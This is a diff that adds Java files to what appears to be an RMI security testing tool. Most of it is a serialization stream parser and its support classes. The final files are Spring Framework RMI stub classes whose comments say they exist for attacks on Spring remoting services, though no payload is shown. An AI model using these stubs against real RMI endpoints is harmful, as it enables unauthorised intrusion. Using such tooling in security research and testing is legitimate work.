+ //Revert indent + this.decreaseIndent(); + + //Return the handle + return handle; + } + + /******************* + * Read a TC_NULL from the stream. + * + * TC_NULL + ******************/ + private void readNullReference() { + byte b1; + + //TC_NULL + b1 = this._data.pop(); + this.print("TC_NULL - 0x" + this.byteToHex(b1)); + if(b1 != (byte)0x70) { throw new RuntimeException("Error: Illegal value for TC_NULL (should be 0x70)"); } + } + + /******************* + * Read a blockdatashort element from the stream. + * + * TC_BLOCKDATA (unsigned byte)size contents + ******************/ + private void readBlockData() { + String contents = ""; + int len; + byte b1; + + //TC_BLOCKDATA + b1 = this._data.pop(); + this.print("TC_BLOCKDATA - 0x" + this.byteToHex(b1)); + if(b1 != (byte)0x77) { throw new RuntimeException("Error: Illegal value for TC_BLOCKDATA (should be 0x77)"); } + this.increaseIndent(); + + //size + len = (int)this._data.pop(); + this.print("Length - " + len + " - 0x" + this.byteToHex((byte)(len & 0xff))); + + //contents + for(int i = 0; i < len; ++i) { + contents += this.byteToHex(this._data.pop()); + } + this.print("Contents - 0x" + contents); + + //Drop indent back + this.decreaseIndent(); + } + + /******************* + * Read a blockdatalong element from the stream. + * + * TC_BLOCKDATALONG (int)size contents + ******************/ + private void readLongBlockData() { + String contents = ""; + long len; + byte b1, b2, b3, b4; + + //TC_BLOCKDATALONG + b1 = this._data.pop(); + this.print("TC_BLOCKDATALONG - 0x" + this.byteToHex(b1)); + if(b1 != (byte)0x7a) { throw new RuntimeException("Error: Illegal value for TC_BLOCKDATA (should be 0x77)"); } + this.increaseIndent(); + + //size + b1 = this._data.pop(); + b2 = this._data.pop(); + b3 = this._data.pop(); + b4 = this._data.pop(); + len = (int)( + ((b1 << 24) & 0xff000000) + + ((b2 << 16) & 0xff0000) + + ((b3 << 8) & 0xff00) + + ((b4 ) & 0xff) + ); + this.print("Length - " + len + " - 0x" + this.byteToHex(b1) + " " + this.byteToHex(b2) + " " + this.byteToHex(b3) + " " + this.byteToHex(b4)); + + //contents + for(long l = 0; l < len; ++l) { + contents += this.byteToHex(this._data.pop()); + } + this.print("Contents - 0x" + contents); + + //Drop indent back + this.decreaseIndent(); + } + + /******************* + * Read a newString element from the stream. + * + * Could be: + * TC_STRING (0x74) + * TC_LONGSTRING (0x7c) + ******************/ + private String readNewString() { + int handle; + + //Peek the type and delegate to the appropriate method + switch(this._data.peek()) { + case (byte)0x74: //TC_STRING + return this.readTC_STRING(); + + case (byte)0x7c: //TC_LONGSTRING + return this.readTC_LONGSTRING(); + + case (byte)0x71: //TC_REFERENCE + this.readPrevObject(); + return "[TC_REF]"; + + default: + this.print("Invalid newString type 0x" + this.byteToHex(this._data.peek())); + throw new RuntimeException("Error illegal newString type."); + } + } + + /******************* + * Read a TC_STRING element from the stream. + * + * TC_STRING newHandle utf + ******************/ + private String readTC_STRING() { + String val; + byte b1; + + //TC_STRING + b1 = this._data.pop(); + this.print("TC_STRING - 0x" + this.byteToHex(b1)); + if(b1 != (byte)0x74) { throw new RuntimeException("Error: Illegal value for TC_STRING (should be 0x74)"); } + + //Indent + this.increaseIndent(); + + //newHandle + this.newHandle(); + + //UTF + val = this.readUtf(); + + //Decrease indent + this.decreaseIndent(); + + //Return the string value + return val; + } + + /******************* + * Read a TC_LONGSTRING element from the stream. + * + * TC_LONGSTRING newHandle long-utf + ******************/ + private String readTC_LONGSTRING() { + String val; + byte b1; + + //TC_LONGSTRING + b1 = this._data.pop(); + this.print("TC_LONGSTRING - 0x" + this.byteToHex(b1)); + if(b1 != (byte)0x7c) { throw new RuntimeException("Error: Illegal value for TC_LONGSTRING (should be 0x7c)"); } + + //Indent + this.increaseIndent(); + + //newHandle + this.newHandle(); + + //long-utf + val = this.readLongUtf(); + + //Decrease indent + this.decreaseIndent(); + + //Return the string value + return val; + } + + /******************* + * Read a UTF string from the stream. + * + * (short)length contents + ******************/ + private String readUtf() { + String content = "", hex = ""; + byte b1, b2; + int len; + + //length + b1 = this._data.pop(); + b2 = this._data.pop(); + len = (int)( + ((b1 << 8) & 0xff00) + + (b2 & 0xff) + ); + this.print("Length - " + len + " - 0x" + this.byteToHex(b1) + " " + this.byteToHex(b2)); + + //Contents + for(int i = 0; i < len; ++i) { + b1 = this._data.pop(); + content += (char)b1; + hex += this.byteToHex(b1); + } + this.print("Value - " + content + " - 0x" + hex); + + //Return the string + return content; + } + + /******************* + * Read a long-UTF string from the stream. + * + * (long)length contents + ******************/ + private String readLongUtf() { + String content = "", hex = ""; + byte b1, b2, b3, b4, b5, b6, b7, b8; + long len; + + //Length + b1 = this._data.pop(); + b2 = this._data.pop(); + b3 = this._data.pop(); + b4 = this._data.pop(); + b5 = this._data.pop(); + b6 = this._data.pop(); + b7 = this._data.pop(); + b8 = this._data.pop(); + len = (long)( + ((b1 << 56) & 0xff00000000000000L) + + ((b2 << 48) & 0xff000000000000L) + + ((b3 << 40) & 0xff0000000000L) + + ((b4 << 32) & 0xff00000000L) + + ((b5 << 24) & 0xff000000 ) + + ((b6 << 16) & 0xff0000 ) + + ((b7 << 8) & 0xff00 ) + + ( b8 & 0xff ) + ); + this.print("Length - " + len + " - 0x" + this.byteToHex(b1) + " " + this.byteToHex(b2) + " " + this.byteToHex(b3) + " " + this.byteToHex(b4) + " " + + this.byteToHex(b5) + " " + this.byteToHex(b6) + " " + this.byteToHex(b7) + " " + this.byteToHex(b8)); + + //Contents + for(long l = 0; l < len; ++l) { + b1 = this._data.pop(); + content += (char)b1; + hex += this.byteToHex(b1); + } + this.print("Value - " + content + " - 0x" + hex); + + //Return the string + return content; + } + + /******************* + * Read a byte field. + ******************/ + private void readByteField() { + byte b1 = this._data.pop(); + if(((int)b1) >= 0x20 && ((int)b1) <= 0x7e) { + //Print with ASCII + this.print("(byte)" + b1 + " (ASCII: " + ((char)b1) + ") - 0x" + this.byteToHex(b1)); + } else { + //Just print byte value + this.print("(byte)" + b1 + " - 0x" + this.byteToHex(b1)); + } + } + + /******************* + * Read a char field. + ******************/ + private void readCharField() { + byte b1 = this._data.pop(); + this.print("(char)" + (char)b1 + " - 0x" + this.byteToHex(b1)); + } + + /******************* + * Read a double field. + ******************/ + private void readDoubleField() { + byte b1, b2, b3, b4, b5, b6, b7, b8; + b1 = this._data.pop(); b2 = this._data.pop(); b3 = this._data.pop(); b4 = this._data.pop(); + b5 = this._data.pop(); b6 = this._data.pop(); b7 = this._data.pop(); b8 = this._data.pop(); + this.print("(double)" + (double)(((b1 << 56) & 0xff00000000000000L) + + ((b2 << 48) & 0xff000000000000L) + + ((b3 << 40) & 0xff0000000000L) + + ((b4 << 32) & 0xff00000000L) + + ((b5 << 24) & 0xff000000 ) + + ((b6 << 16) & 0xff0000 ) + + ((b7 << 8) & 0xff00 ) + + ( b8 & 0xff )) + " - 0x" + this.byteToHex(b1) + + " " + this.byteToHex(b2) + " " + this.byteToHex(b3) + " " + this.byteToHex(b4) + " " + this.byteToHex(b5) + " " + this.byteToHex(b6) + " " + + this.byteToHex(b7) + " " + this.byteToHex(b8)); + } + + /******************* + * Read a float field. + ******************/ + private void readFloatField() { + byte b1, b2, b3, b4; + b1 = this._data.pop(); b2 = this._data.pop(); b3 = this._data.pop(); b4 = this._data.pop(); + this.print("(float)" + (float)(((b1 << 24) & 0xff000000) + + ((b2 << 16) & 0xff0000) + + ((b3 << 8) & 0xff00) + + ( b4 & 0xff)) + " - 0x" + this.byteToHex(b1) + " " + this.byteToHex(b2) + " " + this.byteToHex(b3) + + " " + this.byteToHex(b4)); + } + + /******************* + * Read an int field. + ******************/ + private void readIntField() { + byte b1, b2, b3, b4; + b1 = this._data.pop(); b2 = this._data.pop(); b3 = this._data.pop(); b4 = this._data.pop(); + this.print("(int)" + (int)(((b1 << 24) & 0xff000000) + + ((b2 << 16) & 0xff0000) + + ((b3 << 8) & 0xff00) + + ( b4 & 0xff)) + " - 0x" + this.byteToHex(b1) + " " + this.byteToHex(b2) + " " + this.byteToHex(b3) + + " " + this.byteToHex(b4)); + } + + /******************* + * Read a long field. + ******************/ + private void readLongField() { + byte b1, b2, b3, b4, b5, b6, b7, b8; + b1 = this._data.pop(); b2 = this._data.pop(); b3 = this._data.pop(); b4 = this._data.pop(); + b5 = this._data.pop(); b6 = this._data.pop(); b7 = this._data.pop(); b8 = this._data.pop(); + this.print("(long)" + (long)(((b1 << 56) & 0xff00000000000000L) + + ((b2 << 48) & 0xff000000000000L) + + ((b3 << 40) & 0xff0000000000L) + + ((b4 << 32) & 0xff00000000L) + + ((b5 << 24) & 0xff000000 ) + + ((b6 << 16) & 0xff0000 ) + + ((b7 << 8) & 0xff00 ) + + ( b8 & 0xff)) + " - 0x" + this.byteToHex(b1) + + " " + this.byteToHex(b2) + " " + this.byteToHex(b3) + " " + this.byteToHex(b4) + " " + this.byteToHex(b5) + " " + this.byteToHex(b6) + " " + + this.byteToHex(b7) + " " + this.byteToHex(b8)); + } + + /******************* + * Read a short field. + ******************/ + private void readShortField() { + byte b1, b2; + b1 = this._data.pop(); b2 = this._data.pop(); + this.print("(short)" + (short)(((b1 << 8) & 0xff00) + (b2 & 0xff)) + " - 0x" + this.byteToHex(b1) + " " + this.byteToHex(b2)); + } + + /******************* + * Read a boolean field. + ******************/ + private void readBooleanField() { + byte b1 = this._data.pop(); + this.print("(boolean)" + (b1 == 0 ? "false" : "true") + " - 0x" + this.byteToHex(b1)); + } + + /******************* + * Read an array field. + ******************/ + private void readArrayField() { + //Print field type and increase indent + this.print("(array)"); + this.increaseIndent(); + + //Array could be null + switch(this._data.peek()) { + case (byte)0x70: //TC_NULL + this.readNullReference(); + break; + + case (byte)0x75: //TC_ARRAY + this.readNewArray(); + break; + + case (byte)0x71: //TC_REFERENCE + this.readPrevObject(); + break; + + default: //Unknown + throw new RuntimeException("Error: Unexpected array field value type (0x" + this.byteToHex(this._data.peek())); + } + + //Revert indent + this.decreaseIndent(); + } + + /******************* + * Read an object field. + ******************/ + private void readObjectField() { + this.print("(object)"); + this.increaseIndent(); + + //Object fields can have various types of values... + switch(this._data.peek()) { + case (byte)0x73: //New object + this.readNewObject(); + break; + + case (byte)0x71: //Reference + this.readPrevObject(); + break; + + case (byte)0x70: //Null + this.readNullReference(); + break; + + case (byte)0x74: //TC_STRING + this.readTC_STRING(); + break; + + case (byte)0x76: //TC_CLASS + this.readNewClass(); + break; + + case (byte)0x75: //TC_ARRAY + this.readNewArray(); + break; + + default: //Unknown/unsupported + throw new RuntimeException("Error: Unexpected identifier for object field value 0x" + this.byteToHex(this._data.peek())); + } + this.decreaseIndent(); + } +} diff --git a/src/nb/barmie/util/support/ClassDataDesc.java b/src/nb/barmie/util/support/ClassDataDesc.java new file mode 100644 index 0000000..06d633d --- /dev/null +++ b/src/nb/barmie/util/support/ClassDataDesc.java @@ -0,0 +1,150 @@ +package nb.barmie.util.support; + +import java.util.ArrayList; + +/*********************************************************** + * Support class for serialization data parsing that holds + * class data details that are required to enable object + * properties and array elements to be read from the + * stream. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class ClassDataDesc { + /******************* + * Properties + ******************/ + private final ArrayList _classDetails; //List of all classes making up this class data description (i.e. class, super class, etc) + + /******************* + * Construct the class data description object. + ******************/ + public ClassDataDesc() { + this._classDetails = new ArrayList(); + } + + /******************* + * Private constructor which creates a new ClassDataDesc and initialises it + * with a subset of the ClassDetails objects from another. + * + * @param cd The list of ClassDetails objects for the new ClassDataDesc. + ******************/ + private ClassDataDesc(ArrayList cd) { + this._classDetails = cd; + } + + /******************* + * Build a new ClassDataDesc object from the given class index. + * + * This is used to enable classdata to be read from the stream in the case + * where a classDesc element references a super class of another classDesc. + * + * @param index The index to start the new ClassDataDesc from. + * @return A ClassDataDesc describing the classes from the given index. + ******************/ + public ClassDataDesc buildClassDataDescFromIndex(int index) { + ArrayList cd; + + //Build a list of the ClassDetails objects for the new ClassDataDesc + cd = new ArrayList(); + for(int i = index; i < this._classDetails.size(); ++i) { + cd.add(this._classDetails.get(i)); + } + + //Return a new ClassDataDesc describing this subset of classes + return new ClassDataDesc(cd); + } + + /******************* + * Add a super class data description to this ClassDataDesc by copying the + * class details across to this one. + * + * @param scdd The ClassDataDesc object describing the super class. + ******************/ + public void addSuperClassDesc(ClassDataDesc scdd) { + //Copy the ClassDetails elements to this ClassDataDesc object + if(scdd != null) { + for(int i = 0; i < scdd.getClassCount(); ++i) { + this._classDetails.add(scdd.getClassDetails(i)); + } + } + } + + /******************* + * Add a class to the ClassDataDesc by name. + * + * @param className The name of the class to add. + ******************/ + public void addClass(String className) { + this._classDetails.add(new ClassDetails(className)); + } + + /******************* + * Set the reference handle of the last class to be added to the + * ClassDataDesc. + * + * @param handle The handle value. + ******************/ + public void setLastClassHandle(int handle) { + this._classDetails.get(this._classDetails.size() - 1).setHandle(handle); + } + + /******************* + * Set the classDescFlags of the last class to be added to the + * ClassDataDesc. + * + * @param classDescFlags The classDescFlags value. + ******************/ + public void setLastClassDescFlags(byte classDescFlags) { + this._classDetails.get(this._classDetails.size() - 1).setClassDescFlags(classDescFlags); + } + + /******************* + * Add a field with the given type code to the last class to be added to + * the ClassDataDesc. + * + * @param typeCode The field type code. + ******************/ + public void addFieldToLastClass(byte typeCode) { + this._classDetails.get(this._classDetails.size() - 1).addField(new ClassField(typeCode)); + } + + /******************* + * Set the name of the last field that was added to the last class to be + * added to the ClassDataDesc. + * + * @param name The field name. + ******************/ + public void setLastFieldName(String name) { + this._classDetails.get(this._classDetails.size() - 1).setLastFieldName(name); + } + + /******************* + * Set the className1 of the last field that was added to the last class to + * be added to the ClassDataDesc. + * + * @param cn1 The className1 value. + ******************/ + public void setLastFieldClassName1(String cn1) { + this._classDetails.get(this._classDetails.size() -1).setLastFieldClassName1(cn1); + } + + /******************* + * Get the details of a class by index. + * + * @param index The index of the class to retrieve details of. + * @return The requested ClassDetails object. + ******************/ + public ClassDetails getClassDetails(int index) { + return this._classDetails.get(index); + } + + /******************* + * Get the number of classes making up this class data description. + * + * @return The number of classes making up this class data description. + ******************/ + public int getClassCount() { + return this._classDetails.size(); + } +} diff --git a/src/nb/barmie/util/support/ClassDetails.java b/src/nb/barmie/util/support/ClassDetails.java new file mode 100644 index 0000000..847452c --- /dev/null +++ b/src/nb/barmie/util/support/ClassDetails.java @@ -0,0 +1,141 @@ +package nb.barmie.util.support; + +import java.util.ArrayList; + +/*********************************************************** + * Support class for serialization data parsing that holds + * details of a single class to enable class data for that + * class to be read (classDescFlags, field descriptions). + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class ClassDetails { + /******************* + * Properties + ******************/ + private final String _className; //The name of the class + private int _refHandle; //The reference handle for the class + private byte _classDescFlags; //The classDescFlags value for the class + private final ArrayList _fieldDescriptions; //The class field descriptions + + /******************* + * Construct the ClassDetails object. + * + * @param className The name of the class. + ******************/ + public ClassDetails(String className) { + this._className = className; + this._refHandle = -1; + this._classDescFlags = 0; + this._fieldDescriptions = new ArrayList(); + } + + /******************* + * Get the class name. + * + * @return The class name. + ******************/ + public String getClassName() { + return this._className; + } + + /******************* + * Set the reference handle of the class. + * + * @param handle The reference handle value. + ******************/ + public void setHandle(int handle) { + this._refHandle = handle; + } + + /******************* + * Get the reference handle. + * + * @return The reference handle value for this class. + ******************/ + public int getHandle() { + return this._refHandle; + } + + /******************* + * Set the classDescFlags property. + * + * @param classDescFlags The classDescFlags value. + ******************/ + public void setClassDescFlags(byte classDescFlags) { + this._classDescFlags = classDescFlags; + } + + /******************* + * Check whether the class is SC_SERIALIZABLE. + * + * @return True if the classDescFlags includes SC_SERIALIZABLE. + ******************/ + public boolean isSC_SERIALIZABLE() { + return (this._classDescFlags & 0x02) == 0x02; + } + + /******************* + * Check whether the class is SC_EXTERNALIZABLE. + * + * @return True if the classDescFlags includes SC_EXTERNALIZABLE. + ******************/ + public boolean isSC_EXTERNALIZABLE() { + return (this._classDescFlags & 0x04) == 0x04; + } + + /******************* + * Check whether the class is SC_WRITE_METHOD. + * + * @return True if the classDescFlags includes SC_WRITE_METHOD. + ******************/ + public boolean isSC_WRITE_METHOD() { + return (this._classDescFlags & 0x01) == 0x01; + } + + /******************* + * Check whether the class is SC_BLOCKDATA. + * + * @return True if the classDescFlags includes SC_BLOCKDATA. + ******************/ + public boolean isSC_BLOCKDATA() { + return (this._classDescFlags & 0x08) == 0x08; + } + + /******************* + * Add a field description to the class details object. + * + * @param cf The ClassField object describing the field. + ******************/ + public void addField(ClassField cf) { + this._fieldDescriptions.add(cf); + } + + /******************* + * Get the class field descriptions. + * + * @return An array of field descriptions for the class. + ******************/ + public ArrayList getFields() { + return this._fieldDescriptions; + } + + /******************* + * Set the name of the last field to be added to the ClassDetails object. + * + * @param name The field name. + ******************/ + public void setLastFieldName(String name) { + this._fieldDescriptions.get(this._fieldDescriptions.size() - 1).setName(name); + } + + /******************* + * Set the className1 of the last field to be added to the ClassDetails + * object. + * + * @param cn1 The className1 value. + ******************/ + public void setLastFieldClassName1(String cn1) { + this._fieldDescriptions.get(this._fieldDescriptions.size() - 1).setClassName1(cn1); + } +} diff --git a/src/nb/barmie/util/support/ClassField.java b/src/nb/barmie/util/support/ClassField.java new file mode 100644 index 0000000..3554333 --- /dev/null +++ b/src/nb/barmie/util/support/ClassField.java @@ -0,0 +1,64 @@ +package nb.barmie.util.support; + +/*********************************************************** + * Support class for serialization data parsing that holds + * details of a class field to enable the field value to + * be read from the stream. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class ClassField { + /******************* + * Properties + ******************/ + private final byte _typeCode; //The field type code + private String _name; //The field name + private String _className1; //The className1 property (object and array type fields) + + /******************* + * Construct the ClassField object. + * + * @param typeCode The field type code. + ******************/ + public ClassField(byte typeCode) { + this._typeCode = typeCode; + this._name = ""; + this._className1 = ""; + } + + /******************* + * Get the field type code. + * + * @return The field type code. + ******************/ + public byte getTypeCode() { + return this._typeCode; + } + + /******************* + * Set the field name. + * + * @param name The field name. + ******************/ + public void setName(String name) { + this._name = name; + } + + /******************* + * Get the field name. + * + * @return The field name. + ******************/ + public String getName() { + return this._name; + } + + /******************* + * Set the className1 property of the field. + * + * @param cn1 The className1 value. + ******************/ + public void setClassName1(String cn1) { + this._className1 = cn1; + } +} diff --git a/src/org/springframework/remoting/rmi/RmiInvocationHandler.java b/src/org/springframework/remoting/rmi/RmiInvocationHandler.java new file mode 100644 index 0000000..baea540 --- /dev/null +++ b/src/org/springframework/remoting/rmi/RmiInvocationHandler.java @@ -0,0 +1,15 @@ +package org.springframework.remoting.rmi; + +import java.rmi.Remote; +import java.rmi.RemoteException; +import org.springframework.remoting.support.RemoteInvocation; + +/*********************************************************** + * RmiInvocationHandler interface for Spring Framework + * attacks. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public interface RmiInvocationHandler extends Remote { + public Object invoke(RemoteInvocation invocation) throws RemoteException; +} diff --git a/src/org/springframework/remoting/rmi/RmiInvocationWrapper_Stub.java b/src/org/springframework/remoting/rmi/RmiInvocationWrapper_Stub.java new file mode 100644 index 0000000..7cbe49c --- /dev/null +++ b/src/org/springframework/remoting/rmi/RmiInvocationWrapper_Stub.java @@ -0,0 +1,30 @@ +package org.springframework.remoting.rmi; + +import java.rmi.RemoteException; +import java.rmi.server.RemoteStub; +import org.springframework.remoting.support.RemoteInvocation; + +/*********************************************************** + * RmiInvocationHandler stub for Spring Framework 2 + * attacks. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class RmiInvocationWrapper_Stub extends RemoteStub implements RmiInvocationHandler { + //Dummy serialVersionUID + public static final long serialVersionUID = 2L; + + /******************* + * Stub to call the remote invoke() method. + ******************/ + public Object invoke(RemoteInvocation ri) throws RemoteException { + try { + Object result = this.ref.invoke(this, RmiInvocationHandler.class.getMethod("invoke", new Class[] {RemoteInvocation.class}), new Object[] { ri }, -5752512342587169831L); + return result; + } catch(RuntimeException | RemoteException ex1) { + throw ex1; + } catch(Exception ex2) { + throw new RemoteException("Unexpected exception.", ex2); + } + } +} diff --git a/src/org/springframework/remoting/support/RemoteInvocation.java b/src/org/springframework/remoting/support/RemoteInvocation.java new file mode 100644 index 0000000..2bc5eac --- /dev/null +++ b/src/org/springframework/remoting/support/RemoteInvocation.java @@ -0,0 +1,22 @@ +package org.springframework.remoting.support; + +import java.io.Serializable; +import java.util.Map; + +/*********************************************************** + * RemoteInvocation class for Spring Framework attacks. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class RemoteInvocation implements Serializable { + //Dummy serialVersionUID + private static final long serialVersionUID = 6876024250231820554L; + + /******************* + * Properties + ******************/ + public String methodName; + public Class[] parameterTypes; + public Object[] arguments; + public Map attributes; +}